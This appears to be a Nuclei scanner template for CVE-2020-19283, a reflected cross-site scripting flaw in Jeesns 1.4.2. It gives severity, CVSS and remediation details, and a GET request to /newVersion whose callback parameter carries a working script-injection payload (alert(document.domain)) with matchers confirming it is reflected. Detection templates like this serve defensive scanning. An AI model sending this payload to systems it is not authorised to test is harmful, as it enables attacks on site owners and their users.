id: CVE-2020-19283

info:
  name: Jeesns 1.4.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Jeesns 1.4.2 is vulnerable to reflected cross-site scripting in the /newVersion component and allows attackers to execute arbitrary web scripts or HTML.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Jeesns to the latest version or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/zchuanzhao/jeesns/issues/10
    - https://www.seebug.org/vuldb/ssvid-97939
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19283
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-19283
    cwe-id: CWE-79
    epss-score: 0.03004
    epss-percentile: 0.85643
    cpe: cpe:2.3:a:jeesns:jeesns:1.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jeesns
    product: jeesns
    fofa-query: title="jeesns"
  tags: cve,cve2020,jeesns,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/newVersion?callback=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d2f6c00e1762f0ae16d2a3cd6b0e272542a089fbb207e56746e67fcd1e2dfc4b022100fda777e8092cc93010985d7f1068fde61f33f3b0c576458d1bc7226b54d3cddc:922c64590222798bb761d5b6d8e72950